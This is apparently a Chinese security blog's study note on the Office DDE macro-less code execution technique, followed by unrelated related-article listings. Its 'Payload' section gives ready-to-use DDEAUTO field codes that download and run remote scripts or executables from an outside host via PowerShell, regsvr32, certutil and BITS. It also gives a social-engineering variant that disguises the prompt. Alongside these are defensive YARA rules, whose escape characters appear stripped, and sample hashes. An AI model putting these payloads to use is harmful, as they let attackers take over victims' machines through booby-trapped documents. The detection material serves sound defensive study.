1、前言

2017年下半年爆发出来的Office漏洞,一直没有空做笔记记录。在病毒分析中也看到有利用这个漏洞的样本,针对Office系列软件发起的钓鱼攻击和APT攻击一直是安全攻防的热点。

2、office DDE

Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。

这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

2.1、利用方式:

打开一个新的Word文档,按下键盘的组合键CTRL+F9,在文档中出现“{ }”之后将下面这段代码复制到两个大括号之间,然后保存文件:

{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }

或者插入-文档部件-域,选择第一个= (Formula) 然后右键切换域代码来编辑代码,插入上面的内容

这样子可以直接弹出计算器。

2.2、Payload

DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\WindowsSystem32cmd.exe /c cscript.exe index.js"
DDEAUTO c:\windows\system32\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll "
DDEAUTO c:\windows\system32\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "

过程很简单,不足的是打开文件过程中会有两次弹窗,第一次是询问是否更新链接,第二个是问是否执行程序,当两个都点击确认后才会执行。

社会工程学技术来对程序所弹出的消息框信息进行处理

DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"

除了上面使用的DDEAUTO,DDE也有能实现这个效果,但是要多一个步骤 将文件后缀改为zip或rar,用7z打开,修改word/settings.xml文件,增加一行<w:updateFields w:val="true"/>

替换原来的xml文件后把后缀改回来

编辑文档,域代码为{ DDE "c:\windows\system32\cmd.exe" "/c notepad" } 效果跟上面一样

类似方法除了上面两个外还有以下关键字可使用:

GLOSSARY

IMPORT

INCLUDE

SHAPE

DISPLAYBARCODE

MERGEBARCODE

2.3、测试工具

一个bash脚本并使用CactusTorch来自动化地在生成vbs/hta/js文件中生成反向HTTPS meterpreter Payload

https://github.com/xillwillx/CACTUSTORCH_DDEAUTO

独角兽是使用PowerShell降级攻击并将shellcode直接注入内存的简单工具。基于Matthew Graeber的PowerShell攻击和由David Kennedy(TrustedSec)和Josh Kelly在Defcon 18提供的PowerShell旁路技术。

https://github.com/trustedsec/unicorn

2.4、解决方案

  • YARA检测规则
// YARA rules Office DDE
// NVISO 2017/10/10 - 2017/10/12
// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ rule Office_DDEAUTO_field {
strings:
$a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/
condition:
$a
} rule Office_DDE_field {
strings:
$a = /.+?b[Dd][Dd][Ee]b.+?/
condition:
$a
} rule Office_OLE_DDEAUTO {
strings:
$a = /x13s*DDEAUTOb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
} rule Office_OLE_DDE {
strings:
$a = /x13s*DDEb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
  • 检测工具和提取命令方法

https://blog.didierstevens.com/2017/07/19/updatezipdump-py-version-0-0-11/

使用zipdump.py和YARA规则,结合Linux中的sed工具实现提取样本中的命令,移除XML标签以显示攻击者的恶意命令:

3、测试样本HASH

bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea

4、参考

Office DDE多种利用方式已公开

https://www.anquanke.com/post/id/87078

MSWORD CODE EXEC WITHOUT MACRO

https://kylingit.com/blog/msword-code-exec-without-macro/

Macro-less Code Exec in MSWord

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

检测MS Office文档中的DDE

https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/

updatezipdump-py-version-0-0-11

https://blog.didierstevens.com/2017/07/19/updatezipdump-py-version-0-0-11/

3.1.3.2 Additional Fields

https://msdn.microsoft.com/en-us/library/ff529384(v=office.12).aspx

Office Document Macros, OLE, Actions, DDE Payloads and Filter Bypass

http://pwndizzle.blogspot.com.es/2017/03/office-document-macros-ole-actions-dde.html

Office DDE漏洞学习笔记的更多相关文章

  1. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  2. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  3. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  4. Python 反序列化漏洞学习笔记

    参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...

  5. VSTO学习笔记(十五)Office 2013 初体验

    原文:VSTO学习笔记(十五)Office 2013 初体验 Office 2013 近期发布了首个面向消费者的预览版本,我也于第一时间进行了更新试用.从此开始VSTO系列全面转向Office 201 ...

  6. VSTO 学习笔记(十)Office 2010 Ribbon开发

    原文:VSTO 学习笔记(十)Office 2010 Ribbon开发 微软的Office系列办公套件从Office 2007开始首次引入了Ribbon导航菜单模式,其将一系列相关的功能集成在一个个R ...

  7. VSTO学习笔记(三) 开发Office 2010 64位COM加载项

    原文:VSTO学习笔记(三) 开发Office 2010 64位COM加载项 一.加载项简介 Office提供了多种用于扩展Office应用程序功能的模式,常见的有: 1.Office 自动化程序(A ...

  8. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  9. ADO学习笔记之注入漏洞与参数化查询

    ADO学习笔记之注入漏洞与参数化查询 作为新手,在学习ADO程序时,使用 sql 语言查询数据时,很容易写类似如下代码: using (SqlConnection con = new SqlConne ...

随机推荐

  1. 打开eclipse编译后的.class文件

    众所周知,用文本编辑器打开.class文件会乱码.我们可以使用命令行打开.class文件项目结构: 代码: public class Synchronized { public static void ...

  2. spring+struts整合

    首先是为什么整合strut2和spring? struts2的action是由struts2自己创建出来的,它不受spring的委托,也不受spring的管理,所以无法进行自动注入:spring和st ...

  3. 015 反射中的 Class.forName() 与 ClassLoader.loadClass() 的区别

    作者:nnngu GitHub:https://github.com/nnngu 博客园:http://www.cnblogs.com/nnngu 简书:https://www.jianshu.com ...

  4. P4071 [SDOI2016]排列计数

    题目描述 求有多少种长度为 n 的序列 A,满足以下条件: 1 ~ n 这 n 个数在序列中各出现了一次 若第 i 个数 A[i] 的值为 i,则称 i 是稳定的.序列恰好有 m 个数是稳定的 满足条 ...

  5. svmrank 的误差惩罚因子c选择 经验

    C是一个由用户去指定的系数,表示对分错的点加入多少的惩罚,当C很大的时候,分错的点就会更少,但是过拟合的情况可能会比较严重,当C很小的时候,分错的点可能会很多,不过可能由此得到的模型也会不太正确,所以 ...

  6. 学习Spring Boot:(二)启动原理

    前言 主要了解前面的程序入口 @@SpringBootApplication 这个注解的结构. 正文 参考<SpringBoot揭秘 快速构建微服务体系>第三章的学习,总结下. Sprin ...

  7. 【IOI 2018】Highway 高速公路收费

    这是一道极好的图论题,虽然我一开始只会做$18$分,后来会做$51$分,看着题解想了好久才会做(吐槽官方题解:永远只有一句话),但这的确是一道好题,值得思考,也能启发思维. 如果要讲这道题,还是要从部 ...

  8. Web项目开发中用到的缓存技术

    在WEB开发中用来应付高流量最有效的办法就是用缓存技术,能有效的提高服务器负载性能,用空间换取时间.缓存一般用来 存储频繁访问的数据 临时存储耗时的计算结果 内存缓存减少磁盘IO 使用缓存的2个主要原 ...

  9. Webpack + React 开发 01 HelloWorld

    1.项目依赖 安装所需要依赖的其它第三方开源库,项目依赖如下: "dependencies": { "babel-core": "^6.21.0&qu ...

  10. python之旅:网络基础之网络协议篇

    一.操作系统基础 操作系统:(Operating System,简称OS)是管理和控制计算机硬件与软件资源的计算机程序,是直接运行在“裸机”上的最基本的系统软件,任何其他软件都必须在操作系统的支持下才 ...